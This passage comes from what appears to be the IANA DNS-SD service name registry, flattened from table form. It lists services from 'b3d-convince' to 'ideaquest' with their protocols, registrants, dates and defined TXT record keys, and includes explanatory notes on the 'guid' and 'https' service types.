b3d-convince 3M Unitek Digital [Rajiv_Aaron_Manglani] [Rajiv_Aaron_Manglani] Defined TXT keys: txtvers=1, protovers=<api version>,
Orthodontic System guid=<32 hex digits>
babyphone BabyPhone [Johan_Kool] [Johan_Kool] Defined TXT keys: None
bandhelper-rc tcp Remote Control for [Arlo_Leach] [Arlo_Leach] 2017-04-21 Defined TXT keys: None
BandHelper app
bandhelper-ss tcp Screen sharing for [Arlo_Leach] [Arlo_Leach] 2017-04-21 Defined TXT keys: None
BandHelper app
Peer to peer file sharing
barroomcomedy tcp for a media player [Fred_Zimmerman] [Fred_Zimmerman] 2013-11-05 Defined TXT keys: None
application
bcloud-server tcp Buddycloud Server Delegation [buddycloud] [Simon_Tennant_2] 2014-06-19 Defined TXT keys: v, host
bdsk BibDesk Sharing [Adam_Maxwell] [Adam_Maxwell] Defined TXT keys: txtvers, authenticate
beacon Beacon Remote Service [Jeffrey_Sadeli] [Jeffrey_Sadeli] Defined TXT keys: version=<product version>, company=<product
company>
beamer Beamer Data Sharing Protocol [Frank_Szczerba] [Frank_Szczerba] Defined TXT keys: None
beatpack BeatPack Synchronization [Mathieu_Garcia] [Mathieu_Garcia] Defined TXT keys: None
Server for BeatMaker
Beats Direct allows for the
beatsdirect tcp discovery and control of [Beats_Electronics_LLC] [Eddie_Borjas] 2013-06-03 Defined TXT keys: None
devices
beep Xgrid Technology Preview [David_Kramer_2] [David_Kramer_2] Defined TXT keys: None
bender Bender Communication [Bender_GmbH_Co_KG] [Markus_Kremer] 2013-10-15 Defined TXT keys: product version bus id featuremask
Protocol
bfagent BuildForge Agent [Joe_Senner_2] [Joe_Senner_2] Defined TXT keys: None
bigbangchess Big Bang Chess [Freeverse_Software] [Freeverse_Software] Defined TXT keys: None
bigbangmancala Big Bang Mancala [Freeverse_Software] [Freeverse_Software] Defined TXT keys: None
bitflit tcp Data transfer service [Ramesh_Gupta] [Ramesh_Gupta] 2012-02-21 Defined TXT keys: provider, vendor, user, host, deploy,
prototype, schedule
bittorrent BitTorrent Zeroconf Peer [Robin_Perkins] [Robin_Perkins] Defined TXT keys: None
Discovery Protocol
Little Black Book Defined TXT keys: product=<application name>
blackbook Information Exchange [David_HM_Spector][Paul_M_Franceus] [David_HM_Spector][Paul_M_Franceus] description=<application description name>
Protocol version=<application version/build number> protovers=<version
of protocol in use by by this application>
bluevertise udp BlueVertise Network Protocol [Fabrizio_Guglielmino] [Fabrizio_Guglielmino] Defined TXT keys: role=<master or slave>
(BNP)
boardplus tcp board plus application [CX5_SOFTWARE] [Yohei_Yoshihara] 2013-02-04 Defined TXT keys: None
transfer protocol
Booked communication Defined TXT keys: Edition, Version, Public Shares, Machine
booked-sync tcp protocol - Sharing And Sync [Sören_Havemester] [Sören_Havemester] 2013-02-18 ID, Machine Name
Service
bookworm Bookworm Client Discovery [Arne_Dirks] [Arne_Dirks] Defined TXT keys: flavors
boundaryscan udp Proprietary [Uwe_Ziegler] [Uwe_Ziegler] Defined TXT keys: blocked=<name of the device>,
version=<firmware/instrument controller version>
bousg Bag Of Unusual Strategy Defined TXT keys: None
Games
boutfitness tcp Bout Fitness Synchronization [Bout_Fitness_LLC] [Jesse_Curry] 2014-06-16 Defined TXT keys: None
Service
boutfitness udp Bout Fitness Synchronization [Bout_Fitness_LLC] [Jesse_Curry] 2014-06-16 Defined TXT keys: None
Service
boxraysrvr tcp Boxray Devices Host Server [Caprice_Productions] [Lance_Drake] 2012-07-05 Defined TXT keys: none
bq-cromo tcp bq Cromo protocol [MUNDO_READER_SL] [Adan_Munoz] 2014-09-05 Defined TXT keys: None
bq-cromo udp bq Cromo protocol [MUNDO_READER_SL] [Adan_Munoz] 2014-09-05 Defined TXT keys: None
breas tcp Breas [Breas_Medical_AB] [Jonas_Sjostedt] 2015-09-09 Defined TXT keys: None
breas udp Breas [Breas_Medical_AB] [Jonas_Sjostedt] 2015-09-09 Defined TXT keys: None
bri RFID Reader Basic Reader [Thaddeus_Ternes] [Thaddeus_Ternes] Defined TXT keys: None
Interface
bridgeprotocol tcp JSON RPC Bridge Protocol [Michel_Stam_2] [Michel_Stam_2] 2012-11-20 Defined TXT keys: path, version
bsqdea Backup Simplicity [Qdea] [Qdea] Defined TXT keys: None
Beats Transfer Protocol
btp tcp allows for the discovery and [Beats_Electronics_LLC_2] [Yunho_Huh] 2014-02-17 2014-06-27 Defined TXT keys: None
control of devices
buddycloud-api tcp buddycloud API [buddycloud] [Simon_Tennant] 2013-05-20 Defined TXT keys: v, host, protocol, path, port
buzzer tcp Service for opening electric [Mnemo.ai] [Arturo_Falck] 2017-12-22 Defined TXT keys: None
doors
caldav tcp Calendaring Extensions to [IESG] [IETF_Chair] 2012-02-17 [RFC6764] This is an extension of the http service. Defined TXT keys:
WebDAV (CalDAV) - non-TLS path=<context path>
caldavs tcp Calendaring Extensions to [IESG] [IETF_Chair] 2012-02-17 [RFC6764] This is an extension of the https service. Defined TXT keys:
WebDAV (CalDAV) - over TLS path=<context path>
caltalk CalTalk [Joe_Groff] [Joe_Groff] Defined TXT keys: None
canon-chmp tcp Canon HTTP Management [Canon_Inc_3] [Tomoyuki_Hansaki] 2014-09-03 2015-03-16 Defined TXT keys: txtvers, mpath
Protocol
carddav tcp vCard Extensions to WebDAV [IESG] [IETF_Chair] 2012-02-17 [RFC6352] This is an extension of the http service. Defined TXT keys:
(CardDAV) - non-TLS path=<context path>
carddavs tcp vCard Extensions to WebDAV [IESG] [IETF_Chair] 2012-02-17 [RFC6352] This is an extension of the https service. Defined TXT keys:
(CardDAV) - over TLS path=<context path>
cardsend Card Send Protocol [Jeff_Grossman] [Jeff_Grossman] Defined TXT keys: Proprietary
carousel tcp Carousel Player Protocol [Tightrope_Media_Systems] [Scott_Jann] 2011-10-17 Defined TXT keys: None
IP and Closed-Circuit Defined TXT keys: u=<username>, p=<password>, path=<path to
cctv Television for Securitiy [Frank_Rottmann] [Frank_Rottmann] XML file>
applications
cerebra tcp Control the Cerebra Aquarium [Vertex_Technologies_Inc] [Christopher_Schlacta] 2018-04-20 Defined TXT keys: None
Controller
certificates tcp Server for S/MIME and PGP [IESG] [John_Levine] 2016-07-26 [draft-bhjl-x509-srv-01] Defined TXT keys: None
certificates
cheat The Cheat [Chaz_McGarvey] [Chaz_McGarvey] Defined TXT keys: None
chess Project Gridlock Defined TXT keys: None
chfts Fluid Theme Server Defined TXT keys: None
chili The CHILI Radiology System [Andre_Schroter] [Andre_Schroter] Defined TXT keys: None
ciao tcp Ciao Arduino Protocol [Mike_Colagrosso] [Mike_Colagrosso] 2011-10-24 Defined TXT keys: see www.ciaoapp.com
Discovery of JDF (CIP4 Job
cip4discovery Definition Format) enabled [Stefan_Daun] [Stefan_Daun] Defined TXT keys: None
devices
clipboard Clipboard Sharing Defined TXT keys: None
clique udp Clique Link-Local Multicast [Telepathy_project] [Telepathy_project] Defined TXT keys: see
Chat Room http://telepathy.freedesktop.org/xmpp/clique
clscts Oracle CLS Cluster Topology [David_Brower] [David_Brower] Defined TXT keys: None
Service
collection Published Collection Object [Brady_Anderson] [Brady_Anderson] Defined TXT keys: version=?
A client-server chat for LAN Defined TXT keys: commfort, chat, communications,
commfort tcp or Internet with video chat [CommFort_software_Ltd.] [Maxim_Mirgorodsky] 2016-03-03 client-server, local chat, LAN, network, voice chat, video
support chat, video communication, video conference, file transfer
com-ocs-es-mcc ElectraStar media centre [OC] [OC] Defined TXT keys: None
control protocol
contactserver Now Contact Defined TXT keys: None
coolanetaudio tcp Coolatoola Network Audio [Coolatoola.com] [Tim_Hewett] 2014-01-03 Defined TXT keys: None
corroboree Corroboree Server [Heath_Raftery] [Heath_Raftery] Defined TXT keys: None
coviot tcp Service for coviot branded [Coviot] [Adnan_Senyurt] 2017-05-19 Defined TXT keys: FW_VERSION, PROTOCOL_VERSION,
devices SERVICE_DESCRIPTION
coviot udp Service for coviot branded [Coviot] [Adnan_Senyurt] 2017-05-19 Defined TXT keys: FW_VERSION, PROTOCOL_VERSION,
devices SERVICE_DESCRIPTION
cpnotebook2 NoteBook 2 [Circus_Ponies_Suppor] [Circus_Ponies_Suppor] Defined TXT keys: None
csi-mmws tcp Canfield Scientific Inc - [Canfield_Scientific_Inc] [James_Crismale] 2013-07-02 Defined TXT keys: path
Mirror Mobile Web Services
cw-codetap CodeWarrior HTI Xscale [Ted_Woodward] [Ted_Woodward] Defined TXT keys: None
PowerTAP
cw-dpitap CodeWarrior HTI DPI PowerTAP [Ted_Woodward] [Ted_Woodward] Defined TXT keys: None
cw-oncetap CodeWarrior HTI OnCE [Ted_Woodward] [Ted_Woodward] Defined TXT keys: None
PowerTAP
cw-powertap CodeWarrior HTI COP PowerTAP [Ted_Woodward] [Ted_Woodward] Defined TXT keys: None
cytv CyTV - Network streaming for [Andreas_Junghans] [Andreas_Junghans] Defined TXT keys: None
Elgato EyeTV
dacp Digital Audio Control [Amandeep_Jawa_3] [Amandeep_Jawa_3] Defined TXT keys: txtvers, Ver, DbId
Protocol (iTunes)
dancepartner Dance partner application [Rory_McClure] [Rory_McClure] Defined TXT keys: None
for iPhone
darkhorsetimer tcp Timer LAN service [Dark_Horse_GmbH_Co_KG] [Ludwig_Kannicht] 2015-06-02 Defined TXT keys: None
dataturbine Open Source DataTurbine [Tony_Fountain] [Tony_Fountain] Defined TXT keys: None
Streaming Data Middleware
Defined TXT keys:txtvers=<TXT-Record version>
dbaudio tcp d&b audiotechnik remote [d_b_audiotechnik] [Christian_Laendner] 2011-10-06 protovers=<version of proprietary protocol> guid=<type>
network name=<name> sn=<serial number> device=<cleartext type>
fwver=<firmware version>
Defined TXT keys:txtvers=<TXT-Record version>
dbaudio udp d&b audiotechnik remote [d_b_audiotechnik] [Christian_Laendner] 2011-10-06 protovers=<version of proprietary protocol> guid=<type>
network name=<name> sn=<serial number> device=<cleartext type>
fwver=<firmware version>
dccp-ping dccp ping/traceroute using DCCP [Samuel_Jero] [Samuel_Jero] 2012-11-14 1885957735 Defined TXT keys: None
dell-soo-ds tcp Spotlight on Oracle [Dell_2] [Rob_Griffin_3] 2013-10-03 Defined TXT keys: None
Diagnostic Server
dell-soo-ds udp Spotlight on Oracle [Dell_2] [Rob_Griffin_3] 2013-10-03 Defined TXT keys: None
Diagnostic Server
dell-soss-ds-w tcp Spotlight on SQL Server [Dell_2] [Rob_Griffin_3] 2013-10-03 Defined TXT keys: None
Diagnostic Server HTTP
dell-ssms-ds tcp Spotlight SSMS Plugin [Dell_2] [Rob_Griffin_3] 2013-10-03 Defined TXT keys: None
Diagnostic Server
demoncamremote tcp Peer-to-peer real-time video [James_Alan_Bush] [James_Alan_Bush] 2017-09-26 Defined TXT keys: None
streaming
demoncamremote udp Peer-to-peer real-time video [James_Alan_Bush] [James_Alan_Bush] 2017-09-26 Defined TXT keys: None
streaming
device-info Device Info [Stuart_Cheshire_5][Marc_Krochmal] [Stuart_Cheshire_5][Marc_Krochmal] Not a service type. Special name reserved for DNS-SD device
info.
devonsync tcp DEVONthink synchronization [DEVONtechnologies_LLC] [Rob_Rix][Eric_Boehnisch-Volkmann] 2011-10-18 Defined TXT keys: None at present
protocol
dhanda-g tcp DHANDAg is going for a site [DHANDAg] [Deepam] 2017-12-29 Defined TXT keys: None
dhanda-g udp DHANDAg is going for a site [DHANDAg] [Deepam] 2017-12-29 Defined TXT keys: None
dhanda-g sctp DHANDAg is going for a site [DHANDAg] [Deepam] 2017-12-29 Defined TXT keys: None
dictation Use of a dictation service [Nuance_Communications_Inc] [Mark_Jackson] 2011-10-27 Defined TXT keys: ver, name
by a hand-held device
difi EyeHome [Elgato] [Elgato] Defined TXT keys: None
disconnect DisConnect Peer to Peer Game [Michael_S_Bogovich] [Michael_S_Bogovich] Defined TXT keys: None
Protocol
displaysrc tcp Wi-Fi Alliance Display [Wi-Fi_Alliance_3] [Gaurav_Jain] 2017-03-14 Defined TXT keys: None
Source service
dist-opencl Distributed OpenCL discovery [William_Dillon] [William_Dillon] 2013-04-10 Defined TXT keys: TCPendpoint, UDPendpoint, UUID
protocol
ditrios Ditrios SOA Framework [Mark_Schmatz] [Mark_Schmatz] Defined TXT keys:
Protocol http://www.ditrios.org/index.php?link=tutorial/index#zeroconf
divelogsync Dive Log Data Sharing and [Greg_McLaughlin] [Greg_McLaughlin] Defined TXT keys: None
Synchronization Protocol
dlpx-sp tcp Delphix Session Protocol [Delphix_Corp] [Peng_Dai] 2012-10-02 Defined TXT keys: None
dltimesync udp Local Area Dynamic Time [Geoff_Back_3] [Geoff_Back_3] Defined TXT keys: None
Synchronisation Protocol
dns-sd DNS Service Discovery [Stuart_Cheshire_5][Marc_Krochmal] [Stuart_Cheshire_5][Marc_Krochmal] Not a service type. Special name reserved for DNS-SD meta
queries.
DNS Dynamic Update Service for a given domain may not
necessarily be provided by the principal name servers as
advertised by the domain's "NS" records, and may not
dns-update udp DNS Dynamic Update Service [Kiren_Sekar_2] [Kiren_Sekar_2] necessarily always be provided on port 53. The
"_dns-update._udp.<domain>." SRV record gives the target host
and port where DNS Dynamic Update Service is provided for the
named domain.
dop Roar (Death of Productivity) [Massive_Flow_Product] [Massive_Flow_Product] Defined TXT keys: name=<full username>
dropcopy DropCopy [base_t_Interactive] [base_t_Interactive] Defined TXT keys: None
dsgsync Datacolor SpyderGallery [Datacolor] [Heath_Barber] 2011-10-14 Defined TXT keys: Proprietary
Desktop Sync Protocol
Data Synchronization
dsl-sync Protocol for Discovery [John_Hogg] [John_Hogg] Defined TXT keys: Proprietary
Software products
dtrmtdesktop Desktop Transporter Remote [Daniel_Stodle] [Daniel_Stodle] Defined TXT keys: None
Desktop Protocol
A communication protocol
duckrace tcp that allows a school teacher [Stinky_Kitten_Limited] [Gary_Atkinson] 2013-10-03 Defined TXT keys: txtvers uuid devicename
to set work activities to
students over a LAN.
dxtgsync Documents To Go Desktop Sync [Tim_Boyle] [Tim_Boyle] Defined TXT keys: Proprietary
Protocol
ea-dttx-poker Protocol for EA Downtown [Ben_Lewis] [Ben_Lewis] Defined TXT keys: None
Texas Hold 'em
earphoria Earphoria [Rogue_Amoeba] [Rogue_Amoeba] Defined TXT keys: None
easyspndlg-sync tcp Sync service for the Easy [Aaron_L_Bratcher] [Aaron_L_Bratcher] 2011-10-17 Defined TXT keys: None
Spend Log app
eb-amuzi Amuzi peer-to-peer session [Zachary_Gramana] [Zachary_Gramana] Defined TXT keys: Proprietary
synchronization protocol
eb-sync tcp Easy Books App data sync [Geode_Software_Ltd] [Mathew_Waters] 2014-05-14 Defined TXT keys: None
helper for Mac OS X and iOS
eb-sync udp Easy Books App data sync [Geode_Software_Ltd] [Mathew_Waters] 2014-05-14 Defined TXT keys: None
helper for Mac OS X and iOS
ebms ebXML Messaging [Matthew_MacKenzie] [Matthew_MacKenzie] Defined TXT keys: Endpoint=</path/to/endpoint>
Northrup Grumman/Mission
ecms Systems/ESL Data Flow [Dan_Goff] [Dan_Goff] Defined TXT keys: None
Protocol
ebreg ebXML Registry [Matthew_MacKenzie] [Matthew_MacKenzie] Defined TXT keys:
HttpBinding=</path/to/registry/http/binding>
ecbyesfsgksc Net Monitor Anti-Piracy [Guy_Meyer] [Guy_Meyer] Defined TXT keys: None
Service
edcp udp LaCie Ethernet Disk [Nicolas_Bouilleaud] [Nicolas_Bouilleaud] Defined TXT keys: ip, mac, dhcp, mask, gtwy, wins, name,
Configuration Protocol version
edge1 tcp Edge1 Base Station [Skycatch_Inc.] [Ruben_Beltran_del_Rio_3] 2018-02-09 Defined TXT keys: None
Provides resolution of EDS
edsservice tcp services available on a [Morpho_Detection_LLC] [Natarajan_Subramanian] 2016-07-19 Defined TXT keys: None
given network
eeg tcp EEG System Discovery across [Shifted_Current] [Joel_Aaron_Clipperton] 2012-09-11 Defined TXT keys: Type
local and wide area networks
efkon-elite tcp EFKON Lightweight Interface [EFKON_AG] [Thomas_Kemmer] 2011-10-20 Defined TXT keys: txtvers, protovers, model, serial, scheme,
to Traffic Events path
egistix Egistix Auto-Discovery [Dave_Lindquist_2] [Dave_Lindquist_2] Defined TXT keys: None
Interactive Room Software
eheap Infrastructure (Event Defined TXT keys: None
Sharing)
embrace DataEnvoy [Rob_MacGregor] [Rob_MacGregor] Defined TXT keys: None
enphase-envoy tcp Enphase Energy Envoy [Enphase_Energy_Inc] [Chris_Eich] 2011-11-08 Defined TXT keys: - txtvers - protovers - serialnum
Endpoint Protocol (EP) for
ep use in Home Automation [Tommy_van_der_Vorst] [Tommy_van_der_Vorst] Defined TXT keys: dns-sd_mdns
systems
esp tcp Extensis Server Protocol [Loren_Barr] [Loren_Barr] 2006-12 Defined TXT keys: none
est tcp Enrollment Over Secure [Jack_Visoky] [Jack_Visoky] 2017-10-06 [RFC7030]. Defined TXT keys: none
Transport
eucalyptus Eucalyptus Discovery [Support_Team] [Support_Team] Defined TXT keys: Eucalyptus-DNS-SD
eventserver Now Up-to-Date Defined TXT keys: None
evp tcp EvP - Generic EVENT protocol [Quentin_Glidic] 2013-06-05 Defined TXT keys: None
evs-notif EVS Notification Center [Eric_Gillet] [Eric_Gillet] Defined TXT keys: ID, Address
Protocol
ewalletsync Synchronization Protocol for [Dan_Amstutz] [Dan_Amstutz] Defined TXT keys: name=<friendly device name>
Ilium Software's eWallet
Not a real service type. Special 'pretend' service types
example Example Service Type ("_example._udp" and "_example._tcp") reserved for use in
illustrative examples in books and other documentation.
exb Exbiblio Cascading Service [Claes_Fredrik_Mannby] [Claes_Fredrik_Mannby] Defined TXT keys: Will be described at www.exbiblio.com
Protocol
extensissn Extensis Serial Number [Extensis] [Extensis] Defined TXT keys: None
eyetvsn EyeTV Sharing [Elgato] [Elgato] Defined TXT keys: txtvers=1, keyhash=<4 bytes>
facespan FaceSpan [Kerry_Hazelgren] [Kerry_Hazelgren] Defined TXT keys: None
faxstfx FAXstf [Smith_Micro] [Smith_Micro] Defined TXT keys: None
feed-sharing NetNewsWire 2.0 [Ranchero_Software] [Ranchero_Software] Defined TXT keys: None
feldwesen tcp proprietary [Kiel_University_of_Applied_Sciences] [Matthias-Christian_Ott] 2016-06-19 Defined TXT keys: None
firetask Firetask task sharing and [Gerald_Aquila] [Gerald_Aquila] Defined TXT keys: None
synchronization protocol
fish Fish [Oriol_Ferrer_Mesia] [Oriol_Ferrer_Mesia] Defined TXT keys: None
Defined TXT keys: Currently valid enumerated values: FIX
Session Protocol Versions (SESSIONVERSION): 1.1 FIX
Application Protocol Versions (APPLICATIONVERSION): 2.7, 3.0,
fix Financial Information [Joakim_Johansson] [Joakim_Johansson] 4.0, 4.1, 4.2, 4.3, 4.4, 5.0 Possible TXT records defined and
Exchange (FIX) Protocol their values (replace uppercase text with enumerations from
the list above): txtvers=1 fix=APPLICATIONVERSION fix
supported=APPLICATIONVERSION[,APPLICATIONVERSION, ...
,APPLICATIONVERSION] fixt=SESSIONVERSION
fjork Fjork [John_Schilling] [John_Schilling] Defined TXT keys: None
fl-purr udp FilmLight Cluster Power [Darrin_Smart] [Darrin_Smart] Defined TXT keys: Proprietary
Control Service
flightdmp tcp Flight Data Monitoring [Brad_Head] [Brad_Head] 2013-02-07 Defined TXT keys: None
Protocol
flightdmp udp Flight Data Monitoring [Brad_Head] [Brad_Head] 2013-02-07 Defined TXT keys: None
Protocol
flir-ircam tcp FLIR Infrared Camera [FLIR_Systems_AB] [Bjorn_Roth][Klas_Malmborg] 2011-10-20 Defined TXT keys: Proprietary
FileMaker Server
fmserver-admin Administration Communication [Eric_Jacobson] [Eric_Jacobson] Defined TXT keys: None
Service
fontagentnode FontAgent Pro [Insider_Software] [Insider_Software] Defined TXT keys: None
foxtrot-serv FoxTrot Search Server [Jerome_Seydoux] [Jerome_Seydoux] Defined TXT keys: None
Discovery Service
foxtrot-start FoxTrot Professional Search [Jerome_Seydoux] [Jerome_Seydoux] Defined TXT keys: None
Discovery Service
frameforge-lic FrameForge License [James_W_Walker] [James_W_Walker] Defined TXT keys: Proprietary
freehand FreeHand MusicPad Pro [Ted_Schroeder] [Ted_Schroeder] Defined TXT keys: None
Interface Protocol
frog Frog Navigation Systems [Rene_Jager] [Rene_Jager] Defined TXT keys: type, name, id
ftpcroco Crocodile FTP Server [Xnet_Communications] [Xnet_Communications] Defined TXT keys: None
fv-cert udp Fairview Certificate [Jim_Lyle_2] [Jim_Lyle_2] Defined TXT keys: DevID=<device id>, DevPK=<device public
key>
fv-key udp Fairview Key [Jim_Lyle_2] [Jim_Lyle_2] Defined TXT keys: KeyID=<device id>
fv-time udp Fairview Time/Date [Jim_Lyle_2] [Jim_Lyle_2] Defined TXT keys: None
garagepad Entrackment Client Service [Talkative_AB] [Talkative_AB] Defined TXT keys: None
giffer tcp gif collection browsing [Taber_Buhl] [Taber_Buhl] 2015-09-24 Defined TXT keys: version=<protocol version>
G-Force Control via
gforce-ssmp SoundSpectrum's SSMP TCP [Andy_O_Meara] [Andy_O_Meara] Defined TXT keys: None
Protocol
glasspad GlassPad Data Exchange [Emmanuel_Merali] [Emmanuel_Merali] Defined TXT keys: guid
Protocol
glasspadserver GlassPadServer Data Exchange [Emmanuel_Merali] [Emmanuel_Merali] Defined TXT keys: guid
Protocol
glrdrvmon OpenGL Driver Monitor [Dave_Springer] [Dave_Springer] Defined TXT keys: None
Service related to Google
Expeditions which is a
technology for enabling
googexpeditions tcp multi-participant virtual [Google_Inc] [Jason_Schiller] 2015-07-31 Defined TXT keys: None
fieldtrip experiences over a
local wireless network. See
http://g.co/expeditions for
more details
Service related to Google
Expeditions which is a
technology for enabling
googexpeditions udp multi-participant virtual [Google_Inc] [Jason_Schiller] 2015-07-31 Defined TXT keys: None
fieldtrip experiences over a
local wireless network. See
http://g.co/expeditions for
more details
Service related to Google
Cast which is a technology
googlecast tcp for enabling multi-screen [Google_Inc] [Jason_Schiller] 2014-01-16 Defined TXT keys: None
experiences. See
developers.google.com/cast
for more details
goorstop tcp For iOS Application named [Charlie_Kim] [Charlie_Kim] 2012-08-28 Defined TXT keys: None
GoOrStop
gopro-wake udp GoPro proprietary protocol [GoPro] [Joe_Enke] 2014-10-13 Defined TXT keys: model, fw_version, platform_version,
to wake devices protocol_version, mac_address
gopro-web udp GoPro proprietary protocol [GoPro] [Joe_Enke] 2014-10-13 Defined TXT keys: model, fw_version, platform_version,
for devices protocol_version, mac_address
gotit tcp Network name Got It! [Bill_Vlahos] [Bill_Vlahos] 2013-12-13 Defined TXT keys: info=name
gpnp Grid Plug and Play [David_Brower] [David_Brower] Defined TXT keys: None
grillezvous Roxio ToastAnywhere(tm) Defined TXT keys: AppID=<application id> KeyHash=<application
Recorder Sharing license key hash>
groovesquid tcp Groovesquid Democratic Music [www_nsovocal_com] [Ruben_Beltran] 2011-10-18 Defined TXT keys: None
Control Protocol
growl Growl Defined TXT keys: None
gsremotecontrol tcp General Satellite set-top [General_Satellite] [Sergey_Zubov] 2014-02-25 Defined TXT keys: None
box remote control
Image Data Transfer API for
gucam-http tcp Wi-Fi Camera Devices over [Ripplex_Inc] [Hiroshi_Matsuda] 2013-03-04 Defined TXT keys: device-name=<name of camera device>
HTTP
Defined TXT keys: Varies; Depends on type of service being
offered/resolved Although DNS-SD does not recommend or
advocate using GUIDs as the primary name of an offered
service why not?, it does support use of GUIDs as service
names where developers want to use them that way. Typically
users do not browse for GUIDs. They are not user-friendly and
not very informative. Typically, the service is advertised as
usual, using a user-friendly name. One of the TXT record
attributes is a GUID for the service instance. Once the user
Special service type for has browsed and chosen the desired service instance via its
guid resolving by GUID (Globally user-friendly name, the service is resolved, the TXT record
Unique Identifier) is retrieved, and the GUID is stored. A given network service
instance is therefore being advertised two ways, for example:
<User-Friendly-Name>._ptp._tcp.local <GUID>._guid._tcp.local
On subsequent accesses to the service, the GUID-based name is
resolved, and that particular service instance is discovered,
even if the user has subsequently changed the user-friendly
name to something else. Note: Although each different logical
service type needs to have its own different DNS-SD service
type, all GUID-based names use the same pseudo-type:
"_guid._tcp". There is no possibility of name conflict
because (by definition) GUIDs are globally unique.
H.323 Real-time audio, video
h323 and data communication call [Will_MacDonald] [Will_MacDonald] Defined TXT keys: None
setup protocol
hbbtv-ait tcp HbbTV Application [HbbTV_Association] [Paul_Higgs] 2015-09-09 Defined TXT keys: None
Information Table
help HELP command [RFC1078] TCP Port Service Multiplexer (TCPMUX)
hg Mercurial web-based Defined TXT keys: None path=<file system pathname to
repository access repository> description=<descriptive name of repository>
hinz HINZMobil Synchronization [Jorg_Laschke] [Jorg_Laschke] Defined TXT keys: None
protocol
hmcp Home Media Control Protocol [Will_Lahr] [Will_Lahr] Defined TXT keys: None
hola tcp An application to [Navneet_Gupta] [Navneet_Gupta] 2017-09-05 Defined TXT keys: None
communicate with other
home-sharing iTunes Home Sharing [Amandeep_Jawa_3] [Amandeep_Jawa_3] Defined TXT keys: txtvers, hQ, iTSh Version, MID, Database
ID, dmb, Version, OSsi, hG, hC, Machine ID
homeauto iDo Technology Home [Tony_de_Rijk] [Tony_de_Rijk] Defined TXT keys: None
Automation Protocol
homeconnect tcp Home Connect Protocol [BSH_Bosch_und_Siemens_Hausgeraete_GmbH] [Jens_Clauss] 2013-06-11 Defined TXT keys: txtvers + Proprietary
honeywell-vid udp Honeywell Video Systems [Shankar_Prasad] [Shankar_Prasad] Defined TXT keys: None
hotwayd Hotwayd Defined TXT keys: None
howdy Howdy messaging and [Ozate_Inc] [Joseph_Sickel] 2011-10-12 Defined TXT keys: vers
notification protocol
The service provides
hpdeviceinfo tcp information about connected [HP_Inc] [Sanjay_Kumar] 2016-08-26 Defined TXT keys: vers=<version>
HP devices
hpr-bldlnx HP Remote Build System for [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: rh73, rhel3, rhel4, deb31, suse102
Linux-based Systems
hpr-bldwin HP Remote Build System for [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: xp, vista
Microsoft Windows Systems
Identifies systems that
hpr-db house databases for the [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: bld, tst, mstr
Remote Build System and
Remote Test System
hpr-rep HP Remote Repository for [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: bld, tst, official
Build and Test Results
HP Remote System that houses
hpr-toollnx compilers and tools for [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: rh73, rhel3, rhel4, deb31, suse102
Linux-based Systems
HP Remote System that houses
hpr-toolwin compilers and tools for [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: xp, vista
Microsoft Windows Systems
hpr-tstlnx HP Remote Test System for [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: rh73, rhel3, rhel4, deb31, suse102
Linux-based Systems
hpr-tstwin HP Remote Test System for [Jeffrey_J_Walls] [Jeffrey_J_Walls] Defined TXT keys: xp, vista
Microsoft Windows Systems
hs-off Hobbyist Software Off [Rob_Jonson] [Rob_Jonson] Defined TXT keys: None
Discovery
htsp Home Tv Streaming Protocol [Andreas_Oman] [Andreas_Oman] Defined TXT keys: None
Web browsers like Safari and Internet Explorer (with the
Bonjour for Windows plugin) DO NOT browse for DNS-SD service
type "_https._tcp" in addition to browsing for "_http._tcp".
This is a conscious decision to reduce proliferation of
service types, to help keep DNS-SD efficient on the network.
Today, if a user types http://www.mybank.com/ into their web
browser, the web server automatically redirects the user to
https://www.mybank.com/. Rather than having an entirely
different DNS-SD service type for https, we recommend using
https tcp HTTP over SSL/TLS [Tim_Berners_Lee] [Tim_Berners_Lee] the same redirection mechanism: advertise a plain "http"
service, which consists of nothing except an HTTP redirection
to the desired "https" URL. Work is currently being done on
adding mechanisms to HTTP and TLS to allow the server to tell
the client that it needs to activate TLS on the current
connection before proceeding. If this becomes widely adopted,
it further justifies the decision to not create a separate
DNS-SD service type "_https._tcp", because security becomes
just another one of the things that is negotiated on a
per-connection basis (like content-type negotiation today)
rather than being an entirely separate thing.
htvncconf udp HomeTouch Vnc Configuration [Yuval_Rakavy] [Yuval_Rakavy] 2012-07-10 Defined TXT keys: None
hue tcp Philips hue protocol [Philips_Lighting] [Walter_Slegers] 2017-11-01 Defined TXT keys: bridgeid, modelid
hyperstream Atempo HyperStream [Laurent_Charmet] [Laurent_Charmet] Defined TXT keys: version=x.y.z.w uuid=<36 bytes UUID string>
deduplication server host=<real host name>
iad1 BBN IAD 2013-05-24 This service name is no longer in use.
iad2 BBN IAD 2013-05-24 This service name is no longer in use.
iad3 BBN IAD 2013-05-24 This service name is no longer in use.
iaudit tcp Braemar Inventory audit [Braemar_Consulting] [Richard_Thompson] 2014-03-05 Defined TXT keys: None
ibiz iBiz Server [IGG_Software] [IGG_Software] Defined TXT keys: None
ica-networking Image Capture Networking [Baskaran_Subramaniam] [Baskaran_Subramaniam] Defined TXT keys: None
ican Northrup Grumman/TASC/ICAN [Laurent_Mihalkovic] [Laurent_Mihalkovic] Defined TXT keys: None
Protocol
ichalkboard iChalk [Math_Game_House_Soft] [Math_Game_House_Soft] Defined TXT keys: None
ichat iChat 1.0 [Jens_Alfke] [Jens_Alfke] Defined TXT keys: Proprietary
iconquer iConquer [Andrew_Zamler_Carhar] [Andrew_Zamler_Carhar] Defined TXT keys: None
A Remote Control Application
icontrolbox tcp service used to control [Umair_Cheema] [Umair_Cheema] 2013-07-08 Defined TXT keys: None
Computers on a Local Area
Network
idata Generic Data Acquisition and [Carson_Fenimore] [Carson_Fenimore] Defined TXT keys: None
Control Protocol
idcws Intermec Device [Thaddeus_Ternes] [Thaddeus_Ternes] Defined TXT keys: version=<x.xx>
Configuration Web Services
ideaquest tcp IDEAQUEST Safety Monitoring [IDEAQUEST_Inc.] [Kimitaka_KAWAGUCHI] 2016-12-12 Defined TXT keys: none
System
